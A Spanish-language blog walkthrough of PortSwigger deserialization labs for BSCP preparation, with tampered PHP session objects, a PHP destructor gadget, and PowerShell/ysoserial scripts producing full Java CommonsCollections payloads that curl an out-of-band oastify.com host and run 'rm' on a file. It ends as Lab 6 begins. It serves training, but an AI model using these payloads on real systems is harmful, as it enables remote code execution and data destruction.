¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios adicionales relativos a Deserialización. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
En entornos reales, no suele usarse la deserialización normalmente. Esto está más enfocado a entornos de desarrollo más intensivo y donde los propios desarrolladores saben lo que están haciendo. Por ejemplo, no esperes que un WordPress, cualquier CMS o aplicaciones generales usen este tipo de mecanismos. Sin embargo, sí que en ocasiones se puede ver el uso de deserialización y, normalmente, es un desastre, ya que te permitirá obtener ejecución remota de código el 99% de las veces.
Lab1 (Apprentice) – Modifying serialized objects
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para escalar privilegios en la aplicación y borrar el usuario «carlos».
Comenzamos iniciando sesión con el usuario «wiener:peter» y observando la cookie de sesión:

Tal como vemos, tiene un valor en Base64 que, decodificado, revela un objeto serializado en PHP. Fíjate que Burp Suite Professional también a través del escaneo pasivo debería haberte generado una issue al respecto. Esto es importante, ya que en entornos reales pueden pasarnos desapercibidos estos objetos a priori. Para analizar y trabajar mejor con el objeto, usaremos la extensión «CustomDeserializer»:

Gracias a esta extensión, podemos trabajar ahora en el Repeater sin falta de codificar el parámetro en Base64 y URL cada vez que lo modifiquemos:

La vulnerabilidad a explotar en este laboratorio es muy simple. Como vemos, en la cookie hay un atributo del objeto relativo a la sesión que es un booleano que almacena si el usuario es administrador o no. Si el servidor confía en estos objetos, podemos manipularlos indicando que somos administradores cambiando el «0» por un «1» (hazlo en la pestaña de CustomDeserializer y verás cómo se refleja en la petición original sin tener que tocar nada):

Como vemos, la modificación del objeto nos da acceso al panel de administración. Ahora, simplemente sigue los enlaces y borra el usuario «carlos».

Lab2 (Practicioner) – Modifying serialized data types
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para escalar privilegios en la aplicación y borrar el usuario «carlos».
Comenzamos iniciando sesión con el usuario «wiener:peter» y observando la cookie de sesión:

En este laboratorio vemos que el contenido de la cookie es el siguiente, decodificado el objeto:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ahddw4ereum2rbpf4xohoqw7hrnlhweb";}
El atributo en negrita (en PHP «User->access_token») es interesante, puesto que es un string que apunta a un supuesto «access_token». Imaginemos que en el servidor se hace una comparación como la siguiente:
$session = unserialize($_COOKIE);
if($session['access_token'] == $access_token){
...
}
La comparación en negrita es «loosely», lo que implica que si se comparan dos tipos distintos de datos pasan cosas curiosas. Por ejemplo, si se compara el valor 0 entero con un string en versiones antiguas de PHP (<8.0), el resultado será «true». Por tanto, suponiendo que la variable $access_token es un string y que nosotros controlamos la primera parte de la comparación, trataremos de incluir un número entero en el objeto para bypassear este check. Además, cambiamos en el objeto el nombre de usuario por «administrator» para elevar privilegios. Para todo esto, usamos CustomDeserializer por su versatilidad y ajustamos todos los elementos del objeto (longitudes incluidas):
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;} => Valor del objeto sin codificar
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9 => Valor del objeto codificado
Nota: no modifiques el valor de la cookie obviamente de aquí en adelante

Y, como la extensión ya nos manipula y codifica el objeto, podemos lanzar la petición, pero esta vez para el usuario «administrator»:

Genial, ya tenemos acceso al panel de administración, ahora solo nos queda borrar a «carlos» del mapa:

Lab3 (Practicioner) – Using application functionality to exploit insecure deserialization
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero morale.txt.
Comenzamos mapeando la aplicación y analizamos el flujo desde que iniciamos sesión hasta que borramos un usuario, probando todos los pasos.

Lo más interesante, obviamente, es la petición enviada para borrar el usuario. No por la petición en sí misma, sino por el objeto codificado que supone la cookie de sesión que se usa. Si le echamos un vistazo, vemos su contenido decodificado:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ohi98898xbmlb7mr086jpz2hso94v30f";s:11:"avatar_link";s:19:"users/wiener/avatar";}
Parece bastante claro que el link del avatar es un fichero asociado al usuario «wiener». Por tanto, es muy posible que al borrar el usuario se intente borrar dicho fichero. Para poder explotar la vulnerabilidad, de manera sencilla vamos a construir un objeto con la cuenta de backup que disponemos. Iniciamos sesión en primer lugar con las credenciales «gregg:rosebud» y vemos el objeto generado como cookie:
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"cq3356mu2c01muiiaz38fc7btmdost7d";s:11:"avatar_link";s:18:"users/gregg/avatar";}
Simplemente, modificamos el link del avatar en el objeto para que cuando se envíe la petición se borre «/home/carlos/morale.txt»:
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"cq3356mu2c01muiiaz38fc7btmdost7d";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";} => Objeto original
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6ImNxMzM1Nm11MmMwMW11aWlhejM4ZmM3YnRtZG9zdDdkIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30%3d => Objeto codificado
Y para resolver el laboratorio, codificamos dicho objeto y lo adjuntamos a la petición para borrar el usuario «wiener» capturada anteriormente (la cual debemos pasar a Repeater). Al modificar el objeto de la cookie, borraremos el usuario «gregg» en realidad y, como resultado, el archivo arbitrario que hemos definido.

Lab4 (Practicioner) – Arbitrary object injection in PHP
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos’s home directory. You will need to obtain source code access to solve this lab.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero morale.txt.
Comenzamos mapeando la aplicación, como siempre, y vemos dos cosas interesantes en el acceso al recurso «/my-account». Por un lado, la cookie de sesión vuelve a ser un elemento serializado:

Pero es que, además, si nos fijamos en el comentario en verde en la imagen anterior, se hace referencia al fichero «/libs/CustomTemplate.php». Accedemos a él y vemos que no obtenemos nada. Lógico, ya que el código PHP se está interpretando. Sin embargo, encontramos el backup:
https://0a1f008c031c4b64831707fb003300f9.web-security-academy.net/libs/CustomTemplate.php~

Vamos a analizar el código obtenido:
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
Vamos a centrarnos en la negrita. Tenemos lo siguiente:
- Se define una clase denominada CustomTemplate con dos atributos:
- template_file_path
- lock_file_path
- El método constructor del objeto simplemente asigna valor a los atributos de la clase:
- template_file_path será el template_file_path
- lock_file_path será el valor de template_file_path + «.lock»
- El método destructor del objeto realiza:
- Si el fichero lock existe, lo borra
Por tanto, si conseguimos pasar un objeto cuyo atributo «lock_file_path» final se corresponda con «morale.txt» podremos borrar dicho archivo. Fíjate en el siguiente objeto que generamos:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} => Objeto en texto plano
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d => Objeto codificado
Lanzamos la petición y, a pesar de que obtenemos un error 500, el fichero se borra al deserializar el objeto el servidor:

Seguro que te estás preguntando cómo puede ser esta magia. Pues bien, sabes que si mandas la cookie el servidor debe deserializar su valor para obtener la sesión del usuario. Por tanto, sabes que enviando cualquier objeto al fin y al cabo del servidor lo deserializa. Pero… ¿Por qué hemos logrado borrar el archivo? Bien, pues porque cuando tú pasas un objeto serializado, los atributos que tiene dicho objeto son los que tú indicas (como si hubieras lanzado el constructor). Además, no se llama directamente al destructor, pero cuando el script termina su trabajo (es decir, se termina de gestionar la sesión), el colector de basura de PHP sí llamará al destructor del objeto. Y ahí es cuando el fichero deseado se borra.
Lab5 (Practicioner) – Exploiting Java deserialization with Apache Commons
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.». En este laboratorio el objetivo es explotar una vulnerabilidad de deserialización insegura para borrar el fichero morale.txt.
Para este laboratorio, nos basaremos en el análisis pasivo de Burp Suite Professional para identificar un string dentro de la aplicación que da lugar a pensar en deserialización insegura. Como podemos ver, la propia herramienta nos genera una issue al ver un parámetro cuyo valor comienza por «rO0A», cadena típica de serialización de datos en Java:

Confirmamos además que los datos son serializados mediante una simple decodificación con CustomDeserializer:

Dado que sabemos que el objeto es una serialización hecha con Java, procedemos a utilizar ysoserial para generar payloads (es decir, objetos serializados) que intenten obtener ejecución remota de código en el servidor. Este proceso suele ser de ensayo/error. Es decir, vamos obteniendo payloads con ysoserial y los lanzamos a la aplicación, intentando observar si conseguimos ejecutar código. Con el siguiente comando, generamos un payload basado en el uso de la librería Apache Commons Collections para ejecutar el comando «nslookup ne5zo9g6ner9ek7x6e3n4dm81z7qvhj6.oastify.com».
NOTA: ejecutamos el código en PowerShell para obtener el Base64.
$javaCmd = 'java'
$jarPath = 'ysoserial-all.jar'
$payload = 'CommonsCollections1'
$command = 'curl ne5zo9g6ner9ek7x6e3n4dm81z7qvhj6.oastify.com'
$startInfo = New-Object System.Diagnostics.ProcessStartInfo; $startInfo.FileName = $javaCmd; $startInfo.Arguments = "-jar `"$jarPath`" $payload `"$command`""; $startInfo.RedirectStandardOutput = $true; $startInfo.UseShellExecute = $false; $startInfo.CreateNoWindow = $true; $process = New-Object System.Diagnostics.Process; $process.StartInfo = $startInfo; $process.Start() | Out-Null; $memoryStream = New-Object System.IO.MemoryStream; $process.StandardOutput.BaseStream.CopyTo($memoryStream); $process.WaitForExit()
$payloadBytes = $memoryStream.ToArray(); $base64Payload = [Convert]::ToBase64String($payloadBytes); $base64Payload
$compressedStream = New-Object System.IO.MemoryStream; $gzip = New-Object System.IO.Compression.GzipStream($compressedStream, [System.IO.Compression.CompressionMode]::Compress, $true); $gzip.Write($payloadBytes, 0, $payloadBytes.Length); $gzip.Close(); $compressedBytes = $compressedStream.ToArray(); $base64Payloadgzip = [Convert]::ToBase64String($compressedBytes); $base64Payloadgzip
Del comando anterior, «CommonsCollections1» es el «payload» que se denomina en ysoserial. Puedes obtener un listado con todos los payloads con «java -jar ysoserial-all.jar», que te tirará la ayuda. Además, la parte de «nslookup» es el comando a ejecutar. En resumidas cuentas, el objeto serializado intentará explotar un gadget chain que acabe ejecutando el comando mediante la librería Commons Collections, que probablemente esté en uso en el servidor. Obtenemos la salida de ysoserial:
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAMWN1cmwgbmU1em85ZzZuZXI5ZWs3eDZlM240ZG04MXo3cXZoajYub2FzdGlmeS5jb210AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==
Y ahora, lanzamos la petición de acceso al panel del usuario «/my-account» con este objeto serializado en lugar del original. Recuerda codificarlo con URL-encoding (en este caso, mi URL de laboratorio cambió, pero no es un problema. Usa tu URL original si todavía no te hizo timeout el laboratorio).

Como vemos, obtenemos un error 500. Esto no sería un problema en realidad, puesto que se espera que el servidor falle al deserializar un objeto que no es el que esperaba. Sin embargo, tampoco obtenemos una petición a Burp Collaborator. ¿Por qué? Pues porque el payload (es decir, librería) utilizada para el gadget chain quizá no esté en uso. Esto se convierte ahora en un ensayo/error probando todos los payloads. Llegamos al uso de Commons Collections 4:
java -jar ysoserial-all.jar CommonsCollections4 "curl ne5zo9g6ner9ek7x6e3n4dm81z7qvhj6.oastify.com" > payload_raw
# read raw bytes
$raw = [System.IO.File]::ReadAllBytes('E:\Descargas Mozilla\payload_raw')
# base64 of raw bytes -> payload_raw.b64
[System.IO.File]::WriteAllText('E:\Descargas Mozilla\payload_raw.b64',[Convert]::ToBase64String($raw))
# gzip-compress raw bytes -> payload_raw.gz
$ms = New-Object System.IO.MemoryStream
$gz = New-Object System.IO.Compression.GzipStream($ms,[System.IO.Compression.CompressionMode]::Compress,$true)
$gz.Write($raw,0,$raw.Length); $gz.Close()
[System.IO.File]::WriteAllBytes('E:\Descargas Mozilla\payload_raw.gz',$ms.ToArray())
# base64 of gzip -> payload_raw.gz.b64
[System.IO.File]::WriteAllText('E:\Descargas Mozilla\payload_raw.gz.b64',[Convert]::ToBase64String($ms.ToArray()))
Generamos un payload con el script anterior y lo lanzamos de nuevo en la petición que tenemos en Repeater. De nuevo, obtenemos un error 500 pero lo importante es la pestaña de Burp Collaborator:

Tal como podemos apreciar, tenemos ejecución remota de código, ya que se ha hecho un curl desde el servidor hacia nuestro Burp Collaborator. Por tanto, una vez confirmada la RCE, solo tenemos que cambiar el comando por «rm /home/carlos/morale.txt» en el script para generar el objeto serializado con ysoserial y laboratorio resuelto.
$javaCmd = 'java'
$jarPath = 'ysoserial-all.jar'
$payload = 'CommonsCollections4'
$command = 'rm /home/carlos/morale.txt'
$startInfo = New-Object System.Diagnostics.ProcessStartInfo; $startInfo.FileName = $javaCmd; $startInfo.Arguments = "-jar `"$jarPath`" $payload `"$command`""; $startInfo.RedirectStandardOutput = $true; $startInfo.UseShellExecute = $false; $startInfo.CreateNoWindow = $true; $process = New-Object System.Diagnostics.Process; $process.StartInfo = $startInfo; $process.Start() | Out-Null; $memoryStream = New-Object System.IO.MemoryStream; $process.StandardOutput.BaseStream.CopyTo($memoryStream); $process.WaitForExit()
$payloadBytes = $memoryStream.ToArray(); $base64Payload = [Convert]::ToBase64String($payloadBytes); $base64Payload
El objeto serializado a enviar sería el siguiente:
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABrDK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI1MDI0OTA2MTY3MzMxMDABACBMeXNvc2VyaWFsL1B3bmVyNTAyNDkwNjE2NzMzMTAwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AHwAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABcQB+ACl4
Pégalo en la petición, codifícalo con URL-encode y envía la petición… ¡¡Mágico, laboratorio resuelto!!
Lab6 (Practicioner) – Exploiting PHP deserialization with a pre-built gadget chain
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
